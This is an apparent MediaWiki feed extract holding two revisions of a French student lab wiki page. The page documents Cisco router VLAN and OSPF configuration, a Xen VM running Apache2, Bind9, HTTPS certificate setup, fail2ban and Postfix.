		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35414"/>
		<updated>2016-11-25T11:24:24Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
&lt;br /&gt;
Tout d&amp;#039;abord, il a fallu généré un certificat SSL. J&amp;#039;ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.&lt;br /&gt;
&lt;br /&gt;
 $ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr&lt;br /&gt;
&lt;br /&gt;
Il faut alors coller la clé dans l&amp;#039;interface de Gandi afin d&amp;#039;obtenir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:&lt;br /&gt;
&lt;br /&gt;
 # a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:&lt;br /&gt;
&lt;br /&gt;
 Listen 80&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
 	Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
 	 Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour activer le certificat, j&amp;#039;ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien.&lt;br /&gt;
Une fois notre certificat généré, il faut l&amp;#039;installer sur le serveur:&lt;br /&gt;
&lt;br /&gt;
 $ cp unic0rn.pw.crt /etc/ssl/certs/&lt;br /&gt;
 $ cp monserveur.key /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
 $ cp GandiStandardSSLCA2.pem /etc/ssl/certs/&lt;br /&gt;
 $ c_rehash /etc/ssl/certs &lt;br /&gt;
 &lt;br /&gt;
Puis modifier la configuration d&amp;#039;apache2:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/apache2/sites-enabled/000-default.conf&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
         ServerName www.unic0rn.pw&lt;br /&gt;
         ServerAlias unic0rn.pw&lt;br /&gt;
         DocumentRoot /var/www/html&lt;br /&gt;
         CustomLog /var/log/apache2/secure_access.log combined  &lt;br /&gt;
 &lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /etc/ssl/certs/unic0rn.pw.crt&lt;br /&gt;
         SSLCertificateKeyFile /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
         SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
         SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on peut ensuite accéder à https://unic0rn.pw !&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
[[File:Magic.gif]]&lt;br /&gt;
&lt;br /&gt;
=== Serveur email ===&lt;br /&gt;
&lt;br /&gt;
Le nom de domaine a un email de configuré (admin@unic0rn.pw), nous devons donc s&amp;#039;arranger pour recevoir les emails. On installe donc un serveur d&amp;#039;email:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postfix&lt;br /&gt;
 # echo &amp;quot;admin: root&amp;quot; &amp;gt;&amp;gt; /etc/aliases&lt;br /&gt;
&lt;br /&gt;
On envoie un email et on vérifie les emails:&lt;br /&gt;
&lt;br /&gt;
 # mail&lt;br /&gt;
&lt;br /&gt;
== Attaque du WiFi ==&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35412</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35412"/>
		<updated>2016-11-25T09:11:52Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Xen */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
